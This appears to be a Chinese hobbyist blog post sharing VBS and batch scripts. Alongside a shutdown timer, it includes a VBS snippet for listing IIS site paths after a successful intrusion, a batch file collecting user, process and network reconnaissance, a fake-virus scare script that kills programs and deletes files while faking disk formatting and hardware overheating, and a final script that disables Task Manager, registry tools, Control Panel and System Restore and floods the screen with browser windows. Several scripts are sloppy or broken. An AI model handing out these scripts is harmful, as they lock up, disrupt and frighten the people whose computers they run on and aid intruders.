一些vbs和bat的小脚本 好戏总是在后面哦 大佬您第一次来吧？是不是都进来看看吧=w=

今天给大家分享几个vbs和bat源码
有兴趣的朋友可以拿去用一下
源代码和注释我不会打在一起
另外做对 就是这个 PSArt.dll的可以找我 对就是这个pscs6的启动界面

Tim：2649389508

【定时关机windows】

set ws=wscript.createobject("wscript.shell")
ws.run "shutdown -s -t 3200",0do while i<>"取消"
i=inputbox("输入“取消”解除关机！ 作者：Czlzdldx","关机倒计半小时","晚安！")
loop
ws.run "shutdown -a",0
msgbox "关机已解除，不睡觉吗？"


//

首先创建一个类调用执行，shutdown -s -t 3200 ，定时3200秒后关机 ，根据情况自己做更改就好了，3200秒是半小时；shutdown -a 是取消关机———{但是我这个程序比较鸡肋一点点没有优化 你要是在任务管理器强关了，就要到cmd手动敲shutdown -a来取消关机了}———//

//如果你侵入成功，你可以直接用这个来列出虚拟主机的物理目录

Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
Wscript.Echo ListAllWeb
Set ObjService=Nothing
Wscript.Quit

【原理：我是个懒人

一会敲完博客吃饭去 哪有时间敲注释=v=】

//【Windows 基本很多电脑小白想要的】
{源码拉txt改个后缀然后直接在桌面上运行就可以了，小白居家旅行简单查看电脑属性}【需要添加什么命令可以自己再加】【要提权运行{管理员就行}】

@echo on
md C:\Users\26493\Desktop\系统工具\查看属性2.1.1\
//
echo ""如需更改多次转存请把代码中"">"”改为"">>""（"">""会将原始文件的内容清空，"">>""会在文件后面追加内容，如果文件不存在则创建文件；如需更改存储目录请更改“C:\Users\26493\Desktop\系统工具\查看属性2.1.1\”即可 ”因擅自篡改引发的一系列问题作者Czlzdldx概不负责，作者Czlzdldx""> C:\Users\26493\Desktop\系统工具\查看属性2.1.1\Readme.txt
//
query user > C:\Users\26493\Desktop\系统工具\查看属性2.1.1\quertyuser.txt
query process >> C:\Users\26493\Desktop\系统工具\查看属性2.1.1\quertyuser.txt
winver >> C:\Users\26493\Desktop\系统工具\查看属性2.1.1\quertyuser.txt
whoami /all > C:\Users\26493\Desktop\系统工具\查看属性2.1.1\whoami.txt
hostname >C:\Users\26493\Desktop\系统工具\查看属性2.1.1\hostname.txt
tasklist /svc > C:\Users\26493\Desktop\系统工具\查看属性2.1.1\tasklistsvc.txt
// tasklist > C:\Users\26493\Desktop\系统工具\查看属性2.1.1\tasklist.txt
systeminfo >C:\Users\26493\Desktop\系统工具\查看属性2.1.1\systeminfo.txt
ipconfig > C:\Users\26493\Desktop\系统工具\查看属性2.1.1\ipconfig.txt
netstat -a >C:\Users\26493\Desktop\系统工具\查看属性2.1.1\netstat-a.txt
netstat -b >C:\Users\26493\Desktop\系统工具\查看属性2.1.1\netstat-b.txt
netstat -bn >C:\user\264938\Desktop\系统工具\查看属性2.1.1\netstat-bn.txt
netstat -n >C:\Users\26493\Desktop\系统工具\查看属性2.1.1\netstat-n.txt
arp -a > C:\Users\26493\Desktop\系统工具\查看属性2.1.1\arp-a.txt

【**原理 批处理 自己百度 我还

吃饭呢 告辞！=w=】**

【没事可以恶搞一下 朋友 老鸫西我还分享了下面一个假病毒实际可以清理一下c盘垃圾 tmp dmp 什么乱七八糟的全部搞掉好了 这是从一个破坏性很高的程式改写过来的 原理很简单 *【声明：* 对于擅自更改引用引起的一系列问题概不负责】

@echo off
 color 4f
 taskkill /im explorer.exe /f
 echo 删除C盘所有文件......
 del /f /s /q "%systemdrive%\*.tmp"
 del /f /s /q "%systemdrive%\*.dmp"
 del /f /s /q "%systemdrive%\*._mp"
 del /f /s /q "%systemdrive%\*.gid"
 del /f /s /q "%systemdrive%\*.old"
 del /f /s /q "%systemdrive%\*.chk"
 del /f /s /q "%systemdrive%\*.bak"
 del /f /s /q "%systemdrive%\*.log"
 del /f /s /q "%systemdrive%\Recycled\*.*"
 del /f /s /q "%systemdrive%\RECYCLER\*.*"
 del /f /s /q "%windir%\inf\*.pnf"
 del /f /s /q "%windir%\Prefetch\*.*"
 @ping -n 2 127.1>nul
 rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files"
 @ping -n 2 127.1>nul
 rd /s /q "%windir%\LastGood" & md "%windir%\LastGood"
 @ping -n 2 127.1>nul
 rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages"
 @ping -n 2 127.1>nul
 rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download"
 @ping -n 2 127.1>nul
 rd /s /q "%windir%\temp" & md "%windir%\temp"
 @ping -n 2 127.1>nul
 rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player"
 @ping -n 2 127.1>nul
 rd /s /q "%userprofile%\UserData" & md "%windir%\UserData"
 @ping -n 2 127.1>nul
 rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe"
 @ping -n 2 127.1>nul
 rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia"
 @ping -n 2 127.1>nul
 rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player"
 @ping -n 2 127.1>nul
 rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent"
 @ping -n 5 127.1>nul
 del /a /f /s /q "%userprofile%\Recent\*.*"
 del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat"
 del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db"
 del /a /f /s /q "%userprofile%\Local Settings\History\*.*"
 del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
 del /a /f /s /q "%temp%\*.*" del /a /f /s /q "%userprofile%\AppData\Local\GDIPFONTCACHEV1.dat"
 del /a /f /s /q "%userprofile%\AppData\Local\IconCache.db"
 del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\History\*.*"
 del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*"
 del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Cookies\*.*"
 del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Recent\*.*"
 echo 已删除完毕
 @echo.
 echo 删除D盘所有文件......
 @ping -n 3 127.1>nul
 @echo 已删除完毕
 @echo.
 echo 删除E盘所有文件......
 @ping -n 3 127.1>nul
 echo 已删除完毕
 @echo.
 echo 正在低级格式化全部硬盘......
 @ping -n 3 127.1>nul
 echo.
 echo 正在 进行二次 低格硬盘......
 ping -n 3 127.1>nul
 echo.
 echo 正在 进行三次 低格硬盘......
 ping -n 3 127.1>nul
 echo.
 echo 正在 进行四次 低格硬盘......
 ping -n 3 127.1>nul
 echo.
 echo 正在 进行五次 低格硬盘......
 ping -n 3 127.1>nul
 echo.
 echo 注意: cpu温度127度!温度过高报警!!!
 echo.
 ping -n 2 127.1>nul
 echo 注意: 硬盘温度86度!温度过高报警!!!
 echo.
 ping -n 2 127.1>nul
 echo 注意: 显卡温度96度!温度过高报警!!!
 echo.
 ping -n 2 127.1>nul
 echo 注意: 系统崩溃, 主板温度 超过临界值!!! echo.
 echo 注意: 电容负荷达到100% echo. & pause
 echo 电脑将在72秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!
 shutdown /r /t 72 /c "电脑将在60秒内崩溃!请勿强行关闭电源!否则会导致cpu和硬盘彻底损毁!"
 ping -n 30 127.1>nul
 shutdown -a
taskkill /f /im QQ.exe
taskkill /f /im QQMusic.exe
taskkill /f /im QQLive.exe
taskkill /f /im Stormtray.exe
taskkill /f /im QvodTerminal.exe
taskkill /f /im QvodPlayer.exe
taskkill /f /im SogouInput.exe
taskkill /f /im iexplore.exe
 start explorer.exe
echo non-system disk or disk error
choice/c:&&/n?
 exit
for /l %%i in (1,1,1) do start IEXPLORE.EXE

**【这个得说明一下：会关闭大多数东西 但是最后不会有巨大影响，只能吓唬小白】
【原代码是对注册表激进行了更改，导致我朋友的机器只能重刷系统，利用该原理做的一切更改Czlzdldx概不负责】

【最后一个不作说明：

@echo off
EG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v restrictrun /t reg_dword /d 00000001 /f
reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v notraycontextmenu /t reg_dword /d 00000001 /f
reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v noviewcontextmenu /t reg_dword /d 00000001 /f
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /V DisableSR /t reg_dword /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoFolderOptions /t REG_dword /d 00000001 /f
reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v nocontrolpanel /t reg_dword /d 00000001 /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d taskkill /f /im thunder.exe
taskkill /f /im QQ.exe
taskkill /f /im QQMusic.exe
taskkill /f /im QQLive.exe
taskkill /f /im Stormtray.exe
taskkill /f /im QvodTerminal.exe
taskkill /f /im QvodPlayer.exe
taskkill /f /im SogouInput.exe
taskkill /f /im iexplore.exe
for /l %%i in (1,1,50) do start IEXPLORE.EXE
】





**【【最后一则代码

懂的自然懂，不懂别瞎用谢谢= =这个会更改注册表】】**

【真·还有一件事：我去吃饭了拜~~~~ 吃完回来 改了三个错误】
“`